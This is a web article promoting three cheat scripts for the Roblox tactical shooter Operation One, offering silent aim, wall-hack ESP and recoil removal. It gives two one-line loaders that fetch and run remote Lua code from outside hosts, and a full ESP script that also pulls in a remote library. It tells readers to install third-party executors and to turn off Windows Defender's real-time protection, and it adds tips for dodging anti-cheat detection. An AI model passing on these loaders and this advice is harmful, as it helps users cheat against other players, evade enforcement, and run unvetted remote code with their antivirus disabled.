Top 3 Operation One Scripts (Silent Aim, ESP, Weapon Mods)

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By Ali
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The tactical shooter genre on Roblox has reached new heights with Operation One, a gritty 4v4 first-person shooter heavily inspired by Rainbow Six Siege. In this game, strategy is everything. You play as distinct classes like Anchor, Roamer, or Breacher, engaging in tense firefights where destructible environments and one-tap headshots define the meta. The skill ceiling is incredibly high; you need to master recoil control, learn complex map callouts like “Trench” or “90,” and listen for subtle audio cues like footsteps on tarp.

For newcomers, this can be brutal. You might find yourself getting “spawn peeked” instantly or wall-banged by a veteran player who knows exactly where you are. If you are looking to bridge the skill gap or simply dominate the leaderboard with ease, you have come to the right place.

We have curated the ultimate collection of Operation One scripts that will transform your gameplay. From “Legitbots” that smooth out your aim to “ESP” (Extra Sensory Perception) that reveals enemies through destructible walls, these tools are game-changers.

In this comprehensive guide, we will provide you with the raw Lua code, detailed instructions on how to use these keyless Operation One scripts, and expert tips on staying undetected.

What Are Operation One Scripts?

In the world of Roblox, scripts are pieces of Lua code that interact with the game’s engine to modify how it behaves for you. In a tactical shooter like Operation One, these scripts automate complex tasks that usually require hundreds of hours of practice.

  • ESP (Extra Sensory Perception): Instead of droning out rooms or listening for footsteps, an ESP script draws bright boxes or “Chams” around enemies, visible even through reinforced walls. This prevents you from ever being ambushed.
  • Silent Aim / Legitbot: These scripts manipulate your weapon’s firing mechanics. A “Legitbot” smooths your crosshair movement to lock onto heads naturally, helping you win gunfights without looking like a cheater. “Silent Aim” is more aggressive, curving bullets to hit targets even if you aren’t aiming directly at them.
  • Weapon Mods: These can remove the heavy recoil from guns like the FAMAS or AK-2, turning them into laser beams.

Using these free Operation One script tools allows you to bypass the steep learning curve and enjoy the operator fantasy immediately.

Roblox Operation One Silent Aim Script
Roblox Operation One Silent Aim Script

1. Africa CC Keyless – (Legitbot / Head Hitbox Expander / Mobile Friendly)

The first script on our list is Africa CC, a robust tool uploaded by cleeo. This script is designed specifically with mobile players in mind but works great on PC as well. It focuses on “Legit” hacking, meaning the features are subtle enough to avoid immediate bans from the game’s anti-cheat while still securing wins.

This is a keyless Operation One script, so you can jump straight into the action without dealing with third-party link advertisements.

Script Features Table

FeatureDescriptionStatus
LegitbotSmooth aim assist that looks natural to spectators.Working
Head Hitbox ExpanderIncreases the size of enemy heads for easier shots.OP
ESPHighlights enemies through walls.Visual
Mobile OptimizedWorks flawlessly on Android executors.Stable
KeylessNo verification required.Free

Detailed Description & How It Helps

Africa CC is perfect for players who want a “stealthy” advantage. The Legitbot features smooth aiming, which means your crosshair doesn’t snap instantly to a target (which looks suspicious in killcams). Instead, it glides naturally, making you look like a highly skilled player rather than a cheater.

The Head Hitbox Expander is the real MVP here. In Operation One, headshots are often instant kills. This feature expands the hit detection of enemy heads, allowing you to shoot slightly off-target and still register a lethal hit. Combined with ESP, you can confidently peek corners knowing you will land the first shot.

Tips for Safe Use:

  • Keep the smoothness setting high to avoid snappy movement.
  • Don’t pre-fire destructible walls too aggressively using ESP, as obvious wall-bangs are a dead giveaway.

Script Code

loadstring(game:HttpGet("https://api.rubis.app/v2/scrap/5kmTXTByU60UcPRo/raw",true))()

2. ESP by emakovskij3 – (Visuals Only / Customizable / Safe)

If you prefer a more passive advantage without the risk of using aimbots, the ESP script by emakovskij3 is your best bet. This script focuses entirely on visuals, providing you with superior intel.

This script includes a fallback GUI if your executor doesn’t support Rayfield, making it highly compatible across different platforms.

Script Features Table

FeatureDescriptionStatus
ESP EnabledToggles the entire visual suite on/off.Working
Chams (Fill)Colors the enemy character model (e.g., Red).Visual
Box OutlineDraws a 2D box around the enemy.Visual
Transparency SliderAdjusts how see-through the Chams are.Custom
Color PickerLets you choose the ESP color.Custom

Detailed Description & How It Helps

Information is power in tactical shooters. This script scans the game’s workspace for character models and applies a Highlight instance to them. This makes enemies glow through walls, smoke, and debris.

Why use this over an aimbot?
It is much safer. Since you are still manually aiming, the game’s anti-cheat is less likely to flag you for suspicious input behavior. You simply know where everyone is. You can flank Roamers, avoid Anchors holding angles, and pre-plan your breaches. The script updates automatically when new players spawn or die, keeping your screen clutter-free.

Script Code

local success, Rayfield = pcall(function()
    return loadstring(game:HttpGet('https://sirius.menu/rayfield'))()
end)

if not success then
    success, Rayfield = pcall(function()
        return loadstring(game:HttpGet('https://raw.githubusercontent.com/shlexware/Rayfield/main/source'))()
    end)
end

local Settings = {
    ESP = {
        Enabled = false,
        Chams = true,
        Box = true,
        ChamsTransparency = 0.3,
        Color = Color3.fromRGB(255, 0, 0)
    }
}

local ESPCache = {}
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")

local ESP_TAG = "CharacterESP"

local function CreateESP(model)
    if not model or ESPCache[model] then return end

    local highlight = Instance.new("Highlight")
    highlight.Name = "ESP_" .. model.Name
    highlight.FillColor = Settings.ESP.Chams and Settings.ESP.Color or Color3.new(0,0,0)
    highlight.FillTransparency = Settings.ESP.Chams and Settings.ESP.ChamsTransparency or 1
    highlight.OutlineColor = Settings.ESP.Box and Settings.ESP.Color or Color3.new(0,0,0)
    highlight.OutlineTransparency = Settings.ESP.Box and 0 or 1
    highlight.Adornee = model
    highlight.Parent = model

    ESPCache[model] = highlight

    model.AncestryChanged:Connect(function()
        if not model.Parent then
            ESPCache[model] = nil
        end
    end)
end

local function UpdateExistingESP()
    for model, highlight in pairs(ESPCache) do
        if highlight and highlight.Parent then
            highlight.FillColor = Settings.ESP.Chams and Settings.ESP.Color or Color3.new(0,0,0)
            highlight.FillTransparency = Settings.ESP.Chams and Settings.ESP.ChamsTransparency or 1
            highlight.OutlineColor = Settings.ESP.Box and Settings.ESP.Color or Color3.new(0,0,0)
            highlight.OutlineTransparency = Settings.ESP.Box and 0 or 1
        else
            ESPCache[model] = nil
        end
    end
end

local function ClearESP()
    for model, highlight in pairs(ESPCache) do
        if highlight then
            highlight:Destroy()
        end
    end
    ESPCache = {}

    for _, obj in pairs(CollectionService:GetTagged(ESP_TAG)) do
        CollectionService:RemoveTag(obj, ESP_TAG)
    end
end

local function InitializeESP()
    if not Settings.ESP.Enabled then return end

    ClearESP()

    local function CheckModel(model)
        if model:IsA("Model") then
            local modelName = model.Name:lower()
            if string.find(modelName, "character") or string.find(modelName, "viewmodel") then
                return true
            end

            if model.Parent and model.Parent.Name == "Viewmodels" then
                return true
            end
        end
        return false
    end

    local models = {}
    for _, model in pairs(workspace:GetDescendants()) do
        if CheckModel(model) then
            table.insert(models, model)
        end
    end

    for i, model in ipairs(models) do
        if not Settings.ESP.Enabled then break end
        CreateESP(model)

        if i % 3 == 0 then
            RunService.Heartbeat:Wait()
        end
    end
end

local function SetupCollectionService()
    CollectionService:GetInstanceAddedSignal(ESP_TAG):Connect(function(model)
        if Settings.ESP.Enabled then
            CreateESP(model)
        end
    end)

    spawn(function()
        while true do
            if Settings.ESP.Enabled then
                for _, model in pairs(workspace:GetDescendants()) do
                    if model:IsA("Model") then
                        local modelName = model.Name:lower()
                        if string.find(modelName, "character") or string.find(modelName, "viewmodel") or 
                           (model.Parent and model.Parent.Name == "Viewmodels") then
                            if not CollectionService:HasTag(model, ESP_TAG) then
                                CollectionService:AddTag(model, ESP_TAG)
                            end
                        end
                    end
                end
            end
            wait(5)
        end
    end)
end

SetupCollectionService()

if Rayfield then
    local Window = Rayfield:CreateWindow({
        Name = "ESP",
        ConfigurationSaving = {
            Enabled = true,
            FolderName = "ESP",
            FileName = "Config"
        },
        KeySystem = false,
    })

    local MainTab = Window:CreateTab("Main")

    local ESPToggle = MainTab:CreateToggle({
        Name = "ESP Enabled",
        CurrentValue = Settings.ESP.Enabled,
        Callback = function(value)
            Settings.ESP.Enabled = value
            if value then
                spawn(InitializeESP)
            else
                ClearESP()
            end
        end,
    })

    local ChamsToggle = MainTab:CreateToggle({
        Name = "Chams Fill",
        CurrentValue = Settings.ESP.Chams,
        Callback = function(value)
            Settings.ESP.Chams = value
            UpdateExistingESP()
        end,
    })

    local BoxToggle = MainTab:CreateToggle({
        Name = "Outline",
        CurrentValue = Settings.ESP.Box,
        Callback = function(value)
            Settings.ESP.Box = value
            UpdateExistingESP()
        end,
    })

    local TransparencySlider = MainTab:CreateSlider({
        Name = "Chams Transparency",
        Range = {0, 1},
        Increment = 0.1,
        CurrentValue = Settings.ESP.ChamsTransparency,
        Callback = function(value)
            Settings.ESP.ChamsTransparency = value
            UpdateExistingESP()
        end,
    })

    local ColorPicker = MainTab:CreateColorPicker({
        Name = "ESP Color",
        Color = Settings.ESP.Color,
        Callback = function(color)
            Settings.ESP.Color = color
            UpdateExistingESP()
        end
    })

    Rayfield:LoadConfiguration()
else
    local Player = game:GetService("Players").LocalPlayer
    local GUI = Instance.new("ScreenGui")
    GUI.Name = "ESPUI"
    GUI.Parent = Player.PlayerGui

    local Frame = Instance.new("Frame")
    Frame.Size = UDim2.new(0, 200, 0, 200)
    Frame.Position = UDim2.new(0, 10, 0, 10)
    Frame.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
    Frame.BorderSizePixel = 0
    Frame.Parent = GUI

    local Corner = Instance.new("UICorner")
    Corner.CornerRadius = UDim.new(0, 8)
    Corner.Parent = Frame

    local Title = Instance.new("TextLabel")
    Title.Size = UDim2.new(1, 0, 0, 30)
    Title.Text = "ESP"
    Title.TextColor3 = Color3.fromRGB(255, 255, 255)
    Title.BackgroundColor3 = Color3.fromRGB(255, 50, 50)
    Title.Font = Enum.Font.GothamBold
    Title.Parent = Frame

    local yOffset = 40
    local function CreateSimpleToggle(name, currentValue, callback)
        local toggle = Instance.new("TextButton")
        toggle.Size = UDim2.new(0, 180, 0, 30)
        toggle.Position = UDim2.new(0, 10, 0, yOffset)
        toggle.Text = name .. ": " .. (currentValue and "ON" or "OFF")
        toggle.BackgroundColor3 = currentValue and Color3.fromRGB(0, 150, 0) or Color3.fromRGB(150, 0, 0)
        toggle.TextColor3 = Color3.fromRGB(255, 255, 255)
        toggle.Font = Enum.Font.Gotham
        toggle.Parent = Frame

        toggle.MouseButton1Click:Connect(function()
            currentValue = not currentValue
            toggle.Text = name .. ": " .. (currentValue and "ON" or "OFF")
            toggle.BackgroundColor3 = currentValue and Color3.fromRGB(0, 150, 0) or Color3.fromRGB(150, 0, 0)
            callback(currentValue)
        end)

        yOffset = yOffset + 35
        return toggle
    end

    CreateSimpleToggle("ESP", Settings.ESP.Enabled, function(value)
        Settings.ESP.Enabled = value
        if value then
            spawn(InitializeESP)
        else
            ClearESP()
        end
    end)

    CreateSimpleToggle("Chams", Settings.ESP.Chams, function(value)
        Settings.ESP.Chams = value
        UpdateExistingESP()
    end)

    CreateSimpleToggle("Box", Settings.ESP.Box, function(value)
        Settings.ESP.Box = value
        UpdateExistingESP()
    end)

    local transparencyText = Instance.new("TextLabel")
    transparencyText.Size = UDim2.new(0, 180, 0, 20)
    transparencyText.Position = UDim2.new(0, 10, 0, yOffset)
    transparencyText.Text = "Transparency: " .. Settings.ESP.ChamsTransparency
    transparencyText.TextColor3 = Color3.fromRGB(255, 255, 255)
    transparencyText.BackgroundTransparency = 1
    transparencyText.Font = Enum.Font.Gotham
    transparencyText.Parent = Frame

    yOffset = yOffset + 25

    local transparencyBtn = Instance.new("TextButton")
    transparencyBtn.Size = UDim2.new(0, 180, 0, 20)
    transparencyBtn.Position = UDim2.new(0, 10, 0, yOffset)
    transparencyBtn.Text = "Click to Change"
    transparencyBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
    transparencyBtn.BackgroundColor3 = Color3.fromRGB(80, 80, 120)
    transparencyBtn.Font = Enum.Font.Gotham
    transparencyBtn.Parent = Frame

    transparencyBtn.MouseButton1Click:Connect(function()
        Settings.ESP.ChamsTransparency = Settings.ESP.ChamsTransparency + 0.1
        if Settings.ESP.ChamsTransparency > 1 then
            Settings.ESP.ChamsTransparency = 0
        end
        transparencyText.Text = "Transparency: " .. math.floor(Settings.ESP.ChamsTransparency * 10) / 10
        UpdateExistingESP()
    end)
end

3. Best Free Script Open Source – (Silent Aim / Weapon Mods / Undetected)

Uploaded by qozd1, this script is a heavy hitter for players who want to dominate. It combines “Silent Aim” with weapon modifications to create a truly overpowered experience. Being open source, you can inspect the code to see exactly how it manipulates the game.

This script is perfect for those who want to guarantee a high K/D ratio in every match.

Script Features Table

FeatureDescriptionStatus
Silent AimBullets hit targets without your crosshair being on them.OP
Weapon ModsNo recoil, infinite ammo (visual), rapid fire.Fun
AimbotHard lock onto enemies.Working
UndetectedClaims 100% undetected status.Use with caution
Weekly UpdatesActively maintained by the developer.Fresh

Detailed Description & How It Helps

Silent Aim is the ultimate cheat for shooters. It works by manipulating the bullet trajectory. You can look 5 degrees to the left of an enemy, fire, and the bullet will magically curve to hit their head. This allows you to play aggressively without worrying about precision aiming.

The Weapon Mods can remove the annoying kick of guns like the AK-2 or AUG, turning them into laser beams. This script makes you a one-man army.

Warning: Features like “Rapid Fire” or “No Recoil” are easier for game admins to spot. Use these features sparingly if you want to keep your account safe.

Script Code

loadstring(game:HttpGet("https://raw.githubusercontent.com/Chaddestdog/KLUB/refs/heads/main/loader.lua",true))()

How to Execute Operation One Scripts on PC, Mac & Mobile

To use these Operation One script pastebin codes, you need a third-party software called an “Executor” (or Exploit).

How to Execute on PC (Windows)

  1. Download an Executor: Popular free options include Solara or Incognito. For paid options, Wave is currently popular.
  2. Disable Antivirus: Windows Defender often flags executors as false positives. You may need to temporarily turn off Real-Time Protection.
  3. Launch Roblox: Open Operation One in the Roblox player.
  4. Attach: Open your executor software and click the “Attach” or “Inject” button.
  5. Paste and Run: Copy the code from this article, paste it into the executor’s text box, and click “Execute.”

How to Execute on Mobile (Android)

Mobile scripting is huge for this game.

  1. Get a Mobile Executor: Download Delta, Fluxus, or Codex (APK files) from their official sites.
  2. Install: Install the APK on your device.
  3. Play: Open the app, log in to Roblox, and launch Operation One.
  4. Run Script: Tap the executor icon (usually a hexagon or droplet), paste the script, and hit play.

How to Execute on Mac

Mac scripting is currently difficult due to anti-cheat updates.

  • Best Method: Use an Android Emulator like BlueStacks or MuMu Player on your Mac, and then follow the Android execution steps above.

Operation One Beginner Guide

Even with scripts, knowing the game helps. Operation One relies on tactical movement.

  • Sound: Footsteps are loud and directional. Use “Shift” to walk silently when flanking.
  • Angles: Always check corners. With ESP, you can pre-fire common hiding spots like “Harry Potter” (under the stairs).
  • Recoil: Guns have distinct recoil patterns. Scripts can remove this, but learning to pull down your mouse helps when playing legit.
  • Destruction: Remember that walls and ceilings are destructible. Use your ESP to spot enemies on the floor above you and shoot through the ceiling.

Operation One Codes

Important Note: Operation One is often confused with Operations: Siege, another Roblox game. Currently, Operation One (the 4v4 deathmatch/defusal game by SnakeWorl) does not have an active public code system with widely available codes like GARFIELDISDOC. Those codes are for Operations: Siege.

To stay updated on any future codes for Operation One:

  • Join the Discord: Developers usually release codes in their official Discord server announcements.
  • Check the Group: Sometimes codes are posted on the Roblox group wall.
  • Look for the Button: If you see a “Twitter” or “Shop” icon in the main menu, check it for a redemption box.

FAQs About Operation One Scripts

Q: Will I get banned for using these scripts?

A: There is always a risk. To minimize it, use “Legit” settings (like Africa CC) and avoid obvious rage hacking like shooting through multiple walls across the map or tracking heads perfectly through smoke.

Q: Do these scripts work on console?

A: No. Roblox consoles (Xbox/PS5) do not support script execution.

Q: Why isn’t the script working?

A: Roblox updates every Wednesday. This often patches executors. Wait for your executor to update, or try a different script from the list.

Conclusion

Operation One is a thrilling tactical shooter, and with these Operation One scripts, you can experience it like a true apex predator. Whether you choose the subtle aid of Africa CC, the information dominance of ESP, or the raw power of Silent Aim, victory is just a click away.

Remember to script responsibly and have fun dominating the battlefield!

Bookmark this page! We constantly update our list with the latest and safest Operation One script pastebin codes.

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